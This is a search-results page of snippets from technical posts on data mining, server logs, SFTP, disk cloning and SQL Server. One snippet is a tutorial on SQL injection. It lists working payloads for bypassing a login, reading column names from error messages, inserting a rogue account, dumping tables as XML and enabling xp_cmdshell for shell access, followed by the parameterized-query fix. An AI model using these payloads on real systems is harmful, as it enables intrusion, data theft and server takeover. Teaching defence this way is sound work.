Search Results

Search found 26256 results on 1051 pages for 'information science'.

Page 536/1051 | < Previous Page | 532 533 534 535 536 537 538 539 540 541 542 543  | Next Page >

  • Data Mining Resources

    - by Dejan Sarka
    There are many different types of analyses, each one with its own pros and cons. Relational reports have a predefined structure, and end users cannot change it. They are simple to use for end users. Reports can use real-time data and snapshots of data to show the state of a report at specific points in time. One of the drawbacks is that report authoring is limited to IT pros and advanced users. Any kind of dynamic restructuring is very limited. If real-time data is used for a report, the report has a negative impact on the performance of the source system. Processing of the reports might be slow because the data comes from relational database management systems, which are not optimized for reporting only. If you create a semantic model of your data, your end users can create ad-hoc report structures. However, the development is more complex because a developer is needed to create these semantic models. For OLAP, you typically use specialized database management systems. You get lightning speed of analyses. End users can use rich and thin clients to interactively change the structure of the report. Typically, they do it graphically. However, the development of an OLAP system is many times quite complex. It involves the preparation and maintenance of an enterprise data warehouse and OLAP cubes. In order to exploit the possibility of real-time restructuring of reports, the users must be both active and educated. The data is usually stale, as it is loaded into data warehouses and OLAP cubes with a scheduled process. With data mining, a structure is not selected in advance; it searches for the structure. As a result, data mining can give you the most valuable results because you can discover patterns you did not expect. A data mining model structure is limited only by the attributes that you use to train the model. One of the drawbacks is that a lot of knowledge is needed for a successful data mining project. End users have to understand the results. Subject matter experts and IT professionals need to understand business problem thoroughly. The development might be sometimes even more complex than the development of OLAP cubes. Each type of analysis has its own place in an enterprise system. SQL Server has tools for all kinds of analyses. However, data mining is the most advanced way of analyzing the data; this is the “I” in BI. In order to get the most out of it, you need to learn quite a lot. In this blog post, I am gathering together resources for learning, including forthcoming events. Books Multiple authors: SQL Server MVP Deep Dives – I wrote an introductory data mining chapter there. Erik Veerman, Teo Lachev and Dejan Sarka: MCTS Self-Paced Training Kit (Exam 70-448): Microsoft SQL Server 2008 - Business Intelligence Development and Maintenance – you can find a good overview of a complete BI solution, including data mining, in this book. Jamie MacLennan, ZhaoHui Tang, and Bogdan Crivat: Data Mining with Microsoft SQL Server 2008 – can’t miss this book if you want to mine your data with SQL Server tools. Michael Berry, Gordon Linoff: Mastering Data Mining: The Art and Science of Customer Relationship Management – data mining from both, business and technical perspective. Dorian Pyle: Data Preparation for Data Mining – an in-depth book about data preparation. Thomas and Ronald Wonnacott: Introductory Statistics – if you thought that you could get away without statistics, then you are not serious about data mining. Jiawei Han and Micheline Kamber: Data Mining Concepts and Techniques – in-depth explanation of the most popular data mining algorithms. Michael Berry and Gordon Linoff: Data Mining Techniques – another book that explains data mining algorithms, more fro a business perspective. Paolo Guidici: Applied Data Mining – very mathematical book, only if you enjoy statistics and mathematics in general. Forthcoming presentations I am presenting two data mining related sessions during the PASS Summit in Charlotte, NC: Wednesday, October 16th, 2013 - Fraud Detection: Notes from the Field – I am showing how to use data mining for a specific business problem. The presentation is based on real-life projects. Friday, October 18th: Excel 2013 Advanced Analytics – I am focusing on Excel Data Mining Add-ins, and how to use them together with Power Pivot and other add-ins. This is the most you can get out of Excel. Sinergija 2013, Belgrade, Serbia Tuesday, October 22nd: Excel 2013 Analytics to the Max – another presentation focusing on the most advanced analytics you can get in Excel. SQL Rally Amsterdam, Netherlands Thursday, November 7th: Advanced Analytics in Excel 2013 – and again I am presenting about data mining in Excel. Why three different titles for the same presentation? I don’t know, I guess I forgot the name I proposed every time right after I sent the proposal. Courses Data Mining with SQL Server 2012 – I wrote a 3-day course for SolidQ. If you are interested in this course, which I could also deliver in a shorter seminar way, you can contact your closes SolidQ subsidiary, or, of course, me directly on addresses [email protected] or [email protected]. This course could also complement the existing courseware portfolio of training providers, which are welcome to contact me as well. OK, now you know: no more excuses, start learning data mining, get the most out of your data

    Read the article

  • What consequences to take from what i read in logfiles?

    - by Helene Bilbo
    Since some weeks i manage my first Webserver, a Seaside application behind an Apache proxy on Linode, and i installed logwatch to send me daily logs. Where can i get information on when i have to act as a consequence of what i read in these logwatch reports? For example i read that all kinds of people try to login on funny nonexisting accounts or all kinds of webcrawlers test for nonexisting cms login pages, some ip adresses get banned and unbanned by fail2ban... I assume that's normal? Is it? But how do i know that i probably have to do something? What do i look for in the logs?

    Read the article

  • Manage Upload Permissions, SFTP & Linux

    - by John R
    I'm new to Linux. I am working with a Redhat 5.5 server and am using a Java-based SFTP script that will allow multiple users to upload text files to a server. I am undecided if each user will have a separate directory or if I will use a naming convention that includes their customer ID. The files include some personal information about their LAN settings, so I prefer to use SFTP as apposed to FTP. It is my understanding that SFTP is encrypted (Also, I have a Java class configured to upload via SFTP, so I prefer not to switch protocols unless their is a very-good reason). The prototype is for a system that will support large numbers of customers and the thought of continually adding and removing clients through the command line seems highly impractical. (Again, I am new_to/learning Linux and Redhat). What are normal conventions for giving multiple users permission to SFTP upload files with a unique username and password for each.

    Read the article

  • Migration with SysPrep, ImageX and

    - by Jack Smith
    I know that you can use SysPrep and ImageX to create a prepared image that can be used on several systems but the question is. How well does it work in a corporate environment of moving machines from old hardware off to new harddrives and new hardware? EDIT: The system runs accounting software and databases. So would SysPrep remove all License keys and other information which means would cause problems right? Would something else be a better option even though there are heavy costs involved? Currently, when I clone/copy the drive, Windows will black screen on me. So I need something with differential hardware support?

    Read the article

  • https post message fail, where is server log?

    - by Samson
    I am receiving an error when sending a https post message to my server and I am looking to get more information. I am looking for ssl error log in apache but I cannot find it. I have looked in /usr/local/apache/logs/secure and I don't see the proper error. Should I be looking in a different place? UPDATE: Fyi, the connection is timing out or being lost when I use https and I am trying to figure out why. When I use http it works fine.

    Read the article

  • MySQL for Beginners Training-on-Demand First Hand Insight

    - by Antoinette O'Sullivan
    The MySQL for Beginners course is THE course to get you started with MySQL providing you a solid foundation in relational databases using MySQL as a learning tool. Oracle University recently released the Training-on-Demand option for this course.  Ben Krug from the MySQL product team is trying out the MySQL for Beginners Training-on-Demand course and reporting on his experience. You can follow Ben on MySQL Support Blogs. The MySQL for Beginners course is available as: Training-on-Demand: Follow streaming video of instructor delivery and perform hands-on exercises as your own pace. You can start training with 24 hours of purchase. Live-Virtual: Attend a live-instructor led class from your own desk. Hundreds of events on the schedule across timezones. In-Class: Travel to an education center to attend this instructor-led class. Some events on the schedule below:  Location  Date  Delivery Language  Warsaw, Poland  24 September 2012  Polish  Dublin, Ireland  15 October 2012  English  London, United Kingdom  11 September 2012  English  Rome, Italy  5 November 2012  Italian  Hamburg, Germany  3 December 2012  German  Lisbon, Portugal  5 November 2012  European Portugese  Amsterdam, Netherlands  10 December 2012  Dutch  Nieuwegein, Netherlands  18 February 2013  Dutch  Nairobi, Kenya  12 November 2012  English  Barcelona, Spain  5 November 2012  Spanish  Madrid, Spain  8 January 2013  Spanish  Latvia, Riga  12 November 2012  Latvian  Petaling Jaya, Malaysia  22 October 2012  English  Ottawa, Toronto and Montreal Canada  17 December 2012  English  Sao Paulo, Brazil  11 September 2012  Brazilian Portugese  Sao Paulo, Brazil  5 November 2012  Brazilian Portugese  For more information on the Authentic MySQL Curriculum, go to the Oracle University Portal - http://oracle.com/education/mysql

    Read the article

  • SQL SERVER – Get File Statistics Using fn_virtualfilestats

    - by pinaldave
    Quite often when I am staring at my SSMS I wonder what is going on under the hood in my SQL Server. I often want to know which database is very busy and which database is bit slow because of IO issue. Sometime, I think at the file level as well. I want to know which MDF or NDF is busiest and doing most of the work. Following query gets the same results very quickly. SELECT DB_NAME(vfs.DbId) DatabaseName, mf.name, mf.physical_name, vfs.BytesRead, vfs.BytesWritten, vfs.IoStallMS, vfs.IoStallReadMS, vfs.IoStallWriteMS, vfs.NumberReads, vfs.NumberWrites, (Size*8)/1024 Size_MB FROM ::fn_virtualfilestats(NULL,NULL) vfs INNER JOIN sys.master_files mf ON mf.database_id = vfs.DbId AND mf.FILE_ID = vfs.FileId GO When you run above query you will get many valuable information like what is the size of the file as well how many times the reads and writes are done for each file. It also displays the read/write data in bytes. Due to IO if there has been any stall (delay) in read or write, you can know that as well. I keep this handy but have not shared on blog earlier. Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, SQL View, T SQL, Technology Tagged: Statistics

    Read the article

  • Kerberos SSO browser integration?

    - by MrZombie
    I'm installing a bunch of web apps for the office, and one of the wants would be Kerberos-managed SSO. Now, I have found some information on the matter, and I wondered, what browsers integrate Kerberos SSO? Of course I could just use the underlying web app to authenticate in case of lack of Kerberos capability, which is exactly the plan, but I'd like to know which browsers would work for that, so I can plan ahead and decide if it's even worth it to do that, which I believe it would considering that one of the web apps I'm implementing will be an ERP.

    Read the article

  • iMac OSX Lion upgrade - Photo Booth stopped working

    - by Tawani
    After I upgraded my [2009] iMac to OSX Lion (a few days ago), the Photo Booth program stopped working. When I click on the icon, all I get is the following error message: Photo Booth cannot be opened because of a problem With the following stack trace: Process: Photo Booth [1367] Path: /Users/USER/Desktop/*/Photo Booth.app/Contents/MacOS/Photo Booth Identifier: com.apple.PhotoBooth Version: 3.0.1 (117) Build Info: PhotoBooth-1170000~3 Code Type: X86-64 (Native) Parent Process: launchd [149] Date/Time: 2011-07-27 20:48:00.458 -0400 OS Version: Mac OS X 10.7 (11A511) Report Version: 9 Sleep/Wake UUID: BA40DCC4-26BB-480D-9590-709AA598D4CF Interval Since Last Report: 187610 sec Crashes Since Last Report: 10 Per-App Crashes Since Last Report: 7 Anonymous UUID: 9994E544-979E-4577-9413-0D163B53E3B9 Crashed Thread: 0 Exception Type: EXC_BREAKPOINT (SIGTRAP) Exception Codes: 0x0000000000000002, 0x0000000000000000 Application Specific Information: dyld: launch, loading dependent libraries Dyld Error Message: Symbol not found: _kFigTimeInvalid Referenced from: /Users/USER/Desktop/*/Photo Booth.app/Contents/MacOS/Photo Booth Expected in: /System/Library/Frameworks/CoreMedia.framework/Versions/A/CoreMedia in /Users/USER/Desktop/*/Photo Booth.app/Contents/MacOS/Photo Booth PS: I also installed OSX Lion on my MacBook Air and had no issues.

    Read the article

  • Website pages very slow to load on first access

    - by Merianos Nikos
    I have a production web server that makes sites to be very slow when load for first time. After the first time all connections are normal and fast. In the following screen you can see the first test I have run for a random site in my server: and here you can see the result of the second time request: As you can see there is a big change in the second load of the same page. Here is the page load time graph: My problem is that I don't really know anything about Red Had Linux server, and also I don't know where can I start. Can somebody to help me ? I like to find out the solution for the long time "wait" in connection. I know that my question is very minimal, but you can always ask me to give you information about the server.

    Read the article

  • What usb-bootable utility should I use to copy SATA hard drives?

    - by Steve Brown
    I have a computer that only has two SATA connections and I need to copy one SATA hard drive to another. Since I have to unplug the CD drive to copy the drives I need a USB-bootable utility. I have an old school copy of Norton Ghost (CD based): Ghost has always worked well for me in the past - I see there is a new "version 15" out but I'm not sure if it is worth buying. A friend has Acronis True Image on a USB drive: We tried to use that on the computer but it was unable to copy both partitions (restore partition and main partition). Of course there may be some problem with the drive that is keeping Acronis from working (it is just exiting with a lame error about not being able to copy the disks and no error code or detailed information), but I'm interested in knowing if there is a better, more solid, or widely used solution that I should invest in. What usb-bootable utilities can I use to copy SATA hard drives?

    Read the article

  • Join Me at JavaOne!

    - by HecklerMark
    JavaOne 2012 is less than a week away! If you've already made plans to be there, you're probably getting pretty excited about it already...and if not, what are you waiting for?!? Before I get to the session information, I want to point out that qualified students get free admission to JavaOne, so if you are (or know) a CS or IT (or other tech-leaning) student who might like to attend, follow the link and start making plans. There is so much there to learn and experience. I'm happy to say I'll be a small part of the festivities. I'll be leading the following session: CON3519 - Building Hybrid Cloud Apps: Local Databases + The Cloud = Extreme Versatility In this session, learn how to design and develop applications that leverage both local storage and the cloud, maximizing the strengths of each. Using NetBeans, JavaServer Faces 2.0, GlassFish Server technology, JavaFX 2, Oracle Database, and Evernote, rapidly create prototypical applications that can be deployed in various environments and scaled up/out with enterprise cloud solutions.  As a contributor to the JFXtras project, I also hope to attend the following "Birds Of a Feather" (BOF) session led by Gerrit Grunwald and Stephen Chin: BOF5503 - JFXtras Super Happy Dev BOF JFXtras, the open source JavaFX control and extensions project, is back for JavaFX 2.0. In this session, you will learn about the latest changes in JFXtras 2.0, including new components, controls, and features that integrate with the JavaFX 2.0 libraries. Expect to meet the JFXtras core team members as well as other interesting client RIA implementers and developers. Now that JavaFX is coded in Java, a few server-side hackers may even be let in the door. If you're there, please stop by and introduce yourself! And to follow along with my J1 travels or keep in contact afterward, please follow me on Twitter or connect via G+ or Facebook (links in panel to right). Hope to see you there, but either way, keep the Java flowing! All the best,Mark 

    Read the article

  • IIS Server on XP Machine with tweaked registry and services

    - by user420667
    I have been trying for some time now to setup a webapp on my XP machine at home. Prior to doing this, I had tweaked the registry settings, fiddled with disabling and enabling servies, without recording what I tweaked, which I imagining could be what's causing the problem. I don't want to "reboot" to factory settings, although I suppose that would be nice to know how to do as well. I am more interested in finding out what settings could have influenced the behavior, and who I could contact / what information I could send them that would aid in solving the problem. Thanks.

    Read the article

  • Reading and conditionally updating N rows, where N > 100,000 for DNA Sequence processing

    - by makerofthings7
    I have a proof of concept application that uses Azure tables to associate DNA sequences to "something". Table 1 is the master table. It uniquely lists every DNA sequence. The PK is a load balanced hash of the RK. The RK is the unique encoded value of the DNA sequence. Additional tables are created per subject. Each subject has a list of N DNA sequences that have one reference in the Master table, where N is 100,000. It is possible for many tables to reference the same DNA sequence, but in this case only one entry will be present in the Master table. My Azure dilemma: I need to lock the reference in the Master table as I work with the data. I need to handle timeouts, and prevent other threads from overwriting my data as one C# thread is working with the information. Other threads need to realise that this is locked, and move onto other unlocked records and do the work. Ideally I'd like to get some progress report of how my computation is going, and have the option to cancel the process (and unwind the locks). Question What is the best approach for this? I'm looking at these code snippets for inspiration: http://blogs.msdn.com/b/jimoneil/archive/2010/10/05/azure-home-part-7-asynchronous-table-storage-pagination.aspx http://stackoverflow.com/q/4535740/328397

    Read the article

  • SQL Server 2008 Install fails error reading etwcls.mof

    - by YonahW
    I receive the following error when trying to install Sql Server 2008 Standard on a Windows Server 2008 box. Error reading from file D:\x64\setup\sql_engine_core_inst_msi\PFiles\SqlServr\MSSQL.X\MSSQL\Binn\etwcls.mof. Verify that the file exists and that you can access it. When searching the interwebs I only find information about compiling this file but not reading. The file exists in the location requested. I have run the WMIDiag tool and there doesn't seem to be any issues. I am not sure what else I can do to solve this issue and can't seem to find anything on the internet about it. Cross posted at: http://social.msdn.microsoft.com/Forums/en-US/sqlsetupandupgrade/thread/ae47c277-e822-49c1-89b8-701e23702633

    Read the article

  • Thoughts on my new template language?

    - by Ralph
    Let's start with an example: using "html5" using "extratags" html { head { title "Ordering Notice" jsinclude "jquery.js" } body { h1 "Ordering Notice" p "Dear @name," p "Thanks for placing your order with @company. It's scheduled to ship on {@ship_date|dateformat}." p "Here are the items you've ordered:" table { tr { th "name" th "price" } for(@item in @item_list) { tr { td @item.name td @item.price } } } if(@ordered_warranty) p "Your warranty information will be included in the packaging." p(class="footer") { "Sincerely," br @company } } } The "using" keyword indicates which tags to use. "html5" might include all the html5 standard tags, but your tags names wouldn't have to be based on their HTML counter-parts at all if you didn't want to. The "extratags" library for example might add an extra tag, called "jsinclude" which gets replaced with something like <script type="text/javascript" src="@content"></script> Tags can be optionally be followed by an opening brace. They will automatically be closed as the closing brace. If no brace is used, they will be closed after taking on element. Variables are prefixed with the @ symbol. They may be used inside double-quoted strings. I think I'll use single-quotes to indicate "no variable substitution" like PHP does. Filter functions can be applied to variables like @variable|filter. Arguments can be passed to the filter @variable|filter:@arg1,arg2="y" Attributes can be passed to tags by including them in (), like p(class="classname"). Some questions: Which symbol should I use to prefix variables? @ (like Razor), $ (like PHP), or something else? Should the @ symbol be necessary in "for" and "if" statements? It's kind of implied that those are variables. Tags and controls (like if,for) presently have the exact same syntax. Should I do something to differentiate the two? If so, what? Do you like the attribute syntax? (round brackets) I'll add more questions in a few minutes, once I get some feedback.

    Read the article

  • xf86OpenConsole: Cannot open /dev/tty0 (No such file or directory)

    - by mazgalici
    root@mazgalici:~# startx X.Org X Server 1.7.6 Release Date: 2010-03-17 X Protocol Version 11, Revision 0 Build Operating System: Linux 2.6.24-28-server i686 Ubuntu Current Operating System: Linux mazgalici 2.6.18-194.26.1.el5.028stab079.2PAE #1 SMP Fri Dec 17 19:34:22 MSK 2010 i686 Kernel command line: quiet Build Date: 10 November 2010 11:25:26AM xorg-server 2:1.7.6-2ubuntu7.4 (For technical support please see ) Current version of pixman: 0.16.4 Before reporting problems, check to make sure that you have the latest version. Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (==) Log file: "/var/log/Xorg.0.log", Time: Tue Jan 11 01:28:48 2011 (==) Using config directory: "/usr/lib/X11/xorg.conf.d" Fatal server error: xf86OpenConsole: Cannot open /dev/tty0 (No such file or directory) Please consult the The X.Org Foundation support at http://wiki.x.org for help. Please also check the log file at "/var/log/Xorg.0.log" for additional information. ddxSigGiveUp: Closing log

    Read the article

  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

    Read the article

  • Regular Expressions Quick Reference

    - by Jan Goyvaerts
    The Regular-Expressions.info website has a new quick reference to regular expressions that lists all of the regex syntax in one single table along with a link to the tutorial section that explains the syntax. The quick reference is ordered by syntax whereas the full reference tables are ordered by feature. There are multiple entries for some of the syntax as different regex flavors may use the same syntax for different features. Use the quick reference if you’ve seen some syntax in somebody else’s regex and you have no idea what feature that syntax is for. Use the full reference tables if you already know the feature you want but forgot which syntax to use. Of course, an even quicker reference is to paste your regex into RegexBuddy, select the application you’re working with, and click on the part of the regex you don’t understand. RegexBuddy then selects the corresponding node in its regex tree which summarizes exactly what the syntax you clicked on does in your regex. If you need more information, press F1 or click the Explain Token button to open the relevant page in the regex tutorial in RegexBuddy’s help file.

    Read the article

  • Getting in touch with a domain owner

    - by David
    There is a domain name I want to use for a new business I am starting. It is a perfect fit and I really have my heart set on getting it. Only the .com of the name is registered, and I'm pretty sure the owner has forgotten about the domain. No changes have been made in 3 years, and the WHOIS information is a (almost funny) dead-end Listed email bounces Listed telephone goes to wrong number Listed mailing address physically no longer exists (I looked it up on Google streets, the nearby houses have been demolished and it looks like it's being turned into an apartment complex) Owner name is "D Smith" (do I have to call every D Smith in the region?) My question: Is there any way to track down the owner of a domain besides the WHOIS record?

    Read the article

  • Numerous Unexpected Obstacles Ruining any Project Plans

    - by Libor
    I am working as software developer and struggling with this problem time and time again for almost thirteen years. There seems not to be any way out of the following problem. And it happens with small projects as well. For example, I plan to write an extension for Microsoft Visual Studio. I dowload learning materials, get some book on the topic and allocate time for learning and development. However, during the development, many seemingly trivial problems arise, for example: Why the script refuses to delete the file? Why Visual Studio does not register the extension? (after two days) OK, it registers it, but now it got broken. How to fix it? each of these "small" obstacles usually take 1-5 days to resolve and the project finally consumes several times more man-hours than planned. Maybe it happens only because I am working on Microsoft platform and many of their Frameworks and architectures are bit confusing and badly documented. I would like to have most problems resolved by finding answer in a book or official documentation (MSDN), but the only answer I usually find is on some weird forum or personal blog googled after desperately searching for any relevant information on the topic. Do you have the same struggles? Do you have techniques on how to prevent these problems? I was thinking of simply multiplying projected time for a given project by some factor, but this does not help. Some projects get done briskly and some take months and the guiding factor here are these small "glitches" which take programmers whole weeks to resolve. I have to admit that lots of these obstacles demoralizes me and drains me of focus and joy of work (who likes to get back to work when he have to resolve some stupid registry problem or weird framework bug instead of doing creative work?) After the project is finally done, I am feeling like dying from thousand cuts.

    Read the article

  • Can't upload project to PPA using Quickly

    - by RobinJ
